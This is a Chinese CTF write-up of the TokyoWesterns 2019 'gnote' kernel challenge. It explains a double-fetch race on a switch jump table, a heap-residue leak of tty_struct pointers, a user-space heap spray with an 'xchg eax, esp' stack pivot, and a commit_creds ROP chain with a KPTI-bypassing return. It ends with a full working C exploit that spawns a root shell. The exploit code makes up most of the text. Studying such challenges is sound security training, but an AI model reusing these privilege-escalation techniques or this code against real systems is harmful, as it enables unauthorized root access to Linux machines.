Kernel Pwn gnote - TokyoWesterns CTF 2019

Double-Fetch & Heap-Spray

Posted by b0ldfrev on April 20, 2020

前置知识

gcc 在编译switch代码时,case超过5个就会变成jump table的形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    switch(*(int *)buf){
        case 1:
            printf("case 1");
            break;
        case 2:
            printf("case 2");
            break;
        case 3:
            printf("case 3");
            break;
        case 4:
            printf("case 4");
            break;
        case 5:
            printf("case 5");
            break;
    }

上面的switch C代码编译出来后汇编代码是这样:

1
2
3
4
5
6
cmp     dword ptr [rbp-4], 5         
ja      _default   
mov     eax, [rbp-4]
mov     rax, ds:jump_table[rax*8]
jmp     rax          

可以看到对case[rbp-4]处的数据访问了两次,先cmp [rbp-4],5 比较最大值看是否跳转到default,再mov eax, [rbp-4],最后取rax*8的作为跳转表jump table的索引。

如果利用Double-Fetch漏洞,在cmp [rbp-4], 5执行后并且在即将执行mov eax, [rbp-4]前能修改[rbp-4]里面的值,就能成功劫持jump,跳转到任意地址。

程序分析

系统开启了kptr_restrictdmesg_restrict,不能读/proc/kallsyms,不能查看printfk输出,系统还开启了kalsr,smep.由于内核版本较新,加入了KPTI内核页表隔离机制,ret2usr不可用。

驱动模块首先调用proc_create_data注册一个procfs入口/proc/gnote,相对应的处理句柄read和write函数。

不幸的是write函数里面的switch语句IDA没能正常识别出来。

我利用IDA的Edit->other->specify switch idiom功能手动修复switch分支结构:

选中取jump_table那条指令,打开specify switch idiom, 然后Address of jump table设置成跳转表所在位置,number of element设置成跳转表成员个数,size of table element设置成一个跳转项的所占空间字节大小,start of the switch idiom设置成第一个比较case选项的cmp指令地址,register of switch设置成跳转所用存放索引的寄存器,default jump address设置成缺省的跳转项,通常是cmp下面一条指令。

再f5,可以看到被识别出来了。

从中分析出两个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
struct data
{
  unsigned int menu;
  unsigned int arg;
};


struct note
{
  __int64 size;
  char *contents;
};


data结构体指针由gnote_write函数的buf参数传入,data->menu决定分支,data->arg决定分配note的size大小。

gnote_read函数存在内核堆内容读取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
unsigned __int64 __fastcall gnote_read(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx
  note *v4; // rcx
  unsigned __int64 result; // rax

  v3 = a3;
  mutex_lock(&lock);
  if ( selected == -1 )
  {
    mutex_unlock(&lock);
    result = 0LL;
  }
  else
  {
    v4 = &notes[selected];
    if ( v4->size <= v3 )
      v3 = v4->size;
    copy_to_user(a2, v4->contents, v3);
    *(&selected + 0x20000000) = -1LL;
    mutex_unlock(&lock);
    result = v3;
  }
  return result;
}

漏洞

1.Double-Fetch,只有在汇编代码中才看得出来,在gnote_write函数中,switch根据传入的选项数字决定跳转到哪个功能,选项数字直接从用户空间读取,先判断是否<=5,再取出来跳转到目标函数。如果中间篡改选项,可能就可能会跳转到任意地址。

1
2
3
4
5
6
.text:0000000000000019                 cmp     dword ptr [rbx], 5 ; switch 6 cases
.text:000000000000001C                 ja      short def_20    ; jumptable 0000000000000020 default case, case 0
.text:000000000000001E                 mov     eax, [rbx]
.text:0000000000000020                 mov     rax, ds:jpt_20[rax*8] ; switch jump
.text:0000000000000028                 jmp     __x86_indirect_thunk_rax

2.gnote_read函数存在未初始化内存读,堆残留信息读取。对于内核slub分配器(默认),内核函数创建的结构、kmalloc申请的空间都是先从特定大小的cache中申请,cache的堆块可能存在一些残留内核地址。

利用

1.leak内核地址

打开设备对象/dev/ptmx时会分配这样一个结构体tty_struct,tty_struct结构中存在很多指针,可以泄露这些指针来获取内核地址,绕过kalsr.

1
2
3
4
5
6
7
8
9
struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;
    ......

关于内核slub机制

编写代码时,如果使用常量大小调用kmalloc,编译器将对其进行优化,并使用该大小的通用缓存直接调用kmem_cache_alloc_trace,从cache中分配。

释放tty_struct是用kfree_rcu完成的。在这个场景中,rcu是一种等待对象不再被任何其他线程使用的方法,在这一点上,释放对象是安全的。它实际做到这一点的方法是,在使用有问题的对象时防止上下文切换,并在释放对象之前等待所有内核都进行了上下文切换。这对我们意味着,在关闭ptmx的文件描述符(触发对kfree_rcu的调用)之后,tty_struct块实际上可能还没有释放。为了解决这个问题,我们只需要做一个sleep(1)来确保rcu的宽限期已过。

所以我们可以这样泄露内核地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    close(fdp);
    sleep(1); // trigger rcu grace period

    struct data d;
    d.menu=1;
    d.arg=0x2e0;  // sizeof(tty_struct) =0x2e0
    write(fd, (char *)&d, sizeof(struct data));

    d.menu=5;
    d.arg = 0;  // select note i -> 0 
    write(fd, (char *)&d, sizeof(struct data));

    char buf[0x100];
    read(fd, buf, 0x100);
    unsigned long leak;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;

2.利用double-fetch做堆喷

1
2
3
mov     rax, ds:jump_table[rax*8]
jmp     rax

可以知道的是,我们可以利用条件竞争控制rax的值,跳到一个指针处。那我们跳到哪里?我们并不能泄露模块加载地址,也并不能控制内核空间中的内容。

那我们就只能抱期望于堆喷射,使得jump_table+(rax*8)座落于用户空间(未开启smap,可访问用户态数据)。由于内核模块加载的最低地址是0xffffffffc0000000,通常是基于这个地址有最多0x1000000大小的浮动

如果我们把用户空间设定为0xffffffffc0000000 + (0x8000000+0x200)*8 == 0x1000溢出后最小的一个页面地址,从0x1000地址开始mmap内存,页面大小(最大浮动大小)为0x1000000,那就与exp程序的加载基地址0x400000重合了,不利于后期布置堆喷数据。(可以编译exp时重定位binary—-Wl,–section-start=.note.gnu.build-id=0x40000158)

换一种,我们将jump_table+(rax*8)喷射到大于0x400000的地址,比如0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000这个地址,在0x8000000映射0x1000000大小的空间,那就可以完美解决上面覆盖exp程序空间的问题。

于是我们在0x8000000地址放入0x1000000/8个内核gad指令地址。我们选什么指令比较合适呢?我们只对RAX寄存器可控,很容易想到栈迁移,但是内核栈我们并不能控制,就想到控制用户态的栈,找到这么一条指令xchg eax, esp,将RAX寄存器的低4byte切换进esp寄存器,同时rsp扩展位的高32位清0,这样就切换到用户态的栈。

代码如下:

1
2
3
4
5
6
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;

所以我们只需要在用户空间xchg_eax_esp_ret & 0xfffff000分配一段空间,并在xchg_eax_esp_ret & 0xffffffff处存放内核ROP链,就可以通过ROP提权。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    int i=0;

    // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = 0;
    rop_base[i++] = prepare_kernel_cred;
    rop_base[i++] = pop_rsi_ret;          
    rop_base[i++] = -1;
    rop_base[i++] = mov_rdi_rax_p_ret;
    rop_base[i++] = 0;
    rop_base[i++] = commit_creds;
    // xchg_CR3_sysret
    rop_base[i++] = pop_rcx;
    rop_base[i++] = &shell;
    rop_base[i++] = pop_r11;
    rop_base[i++] = user_rflags;
    rop_base[i++] = 0;
    rop_base[i++] = xchg_CR3_sysret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = user_sp;

关于提权返回到用户态,由于内核开启了KPTI页表隔离机制,我们提权后返回用户态之前应该切换CR3寄存器,具体操作见我看雪帖子[原创]KERNEL PWN状态切换原理及KPTI绕过

1
2
3
4
root@gnote:/# dmesg |grep "page tables isolation: enabled"
[    0.000000] Kernel/User page tables isolation: enabled


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>



unsigned long kernel_base,prepare_kernel_cred,commit_creds,xchg_eax_esp_ret, pop_rdi_ret,pop_rsi_ret,mov_rdi_rax_p_ret,pop_rcx,pop_r11,xchg_CR3_sysret;

size_t user_cs, user_ss, user_rflags, user_sp;

struct data {
    unsigned int menu;
    unsigned int arg;
};

int istriggered =0;
int fd;

void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[+] Status has been saved!");
}



void race(void *s)
{
    struct data *d=s;
    while(!istriggered){
        d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}


void double_fetch()

{

    struct data race_arg;
    pthread_t pthread;
    race_arg.arg = 0x10001;
    pthread_create(&pthread,NULL, race, &race_arg);
    for (int j=0; j< 0x10000000000; j++)
    {
        race_arg.menu = 1;
        write(fd, (void*)&race_arg, sizeof(struct data));
    }
    pthread_join(pthread, NULL);

}


void shell()
{
    istriggered =1;
    system("/bin/sh");
}

void leak_kernel_address()


{
    int fdp=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    close(fdp);
    sleep(1); // trigger rcu grace period

    struct data d;
    d.menu=1;
    d.arg=0x2e0;  // sizeof(tty_struct) =0x2e0
    write(fd, (char *)&d, sizeof(struct data));

    d.menu=5;
    d.arg = 0;  // select note i -> 0 
    write(fd, (char *)&d, sizeof(struct data));
    char buf[0x100];
    read(fd, buf, 0x100);
    unsigned long leak;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;
    printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);
    
    prepare_kernel_cred = kernel_base + 0x69fe0;
    commit_creds        = kernel_base + 0x69df0;
    xchg_eax_esp_ret    = kernel_base + 0x1992a;  // xchg eax, esp; ret;
    pop_rdi_ret         = kernel_base + 0x1c20d;  // pop rdi; ret;
    pop_rsi_ret         = kernel_base + 0x37799;  // pop rsi; ret; 
    mov_rdi_rax_p_ret   = kernel_base + 0x21ca6a; // cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;
    pop_rcx             = kernel_base + 0x37523;  // pop rcx ; ret
    pop_r11             = kernel_base + 0x1025c8; // pop r11 ; pop rbp ; ret
    xchg_CR3_sysret     = kernel_base + 0x600116; // mov rdi, cr3 ; or rdi, 0x1000 ; mov cr3, rdi ; pop rax ; pop rdi ; pop rsp ; swapgs ; sysret

}


void prepare_heap_spray()

{
    /* Kernel load minimum address 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000 */
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;
}


void set_ropchain()


{

    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    int i=0;

    // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = 0;
    rop_base[i++] = prepare_kernel_cred;
    rop_base[i++] = pop_rsi_ret;          
    rop_base[i++] = -1;
    rop_base[i++] = mov_rdi_rax_p_ret;
    rop_base[i++] = 0;
    rop_base[i++] = commit_creds;
    // xchg_CR3_sysret
    rop_base[i++] = pop_rcx;
    rop_base[i++] = &shell;
    rop_base[i++] = pop_r11;
    rop_base[i++] = user_rflags;
    rop_base[i++] = 0;
    rop_base[i++] = xchg_CR3_sysret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = user_sp;

}


int main()

{   
    // Step 0 : save tatus
    save_status();

    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }
    
    // Step 1 : leak kernel address
    leak_kernel_address();

    // Step 2 : place heap spray data
    prepare_heap_spray();

    // Step 3 : place ROPchain 
    set_ropchain();

    // Step 4 : double_fetch
    double_fetch();

    return 0;
}


下载

github

参考

【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch

KERNEL PWN状态切换原理及KPTI绕过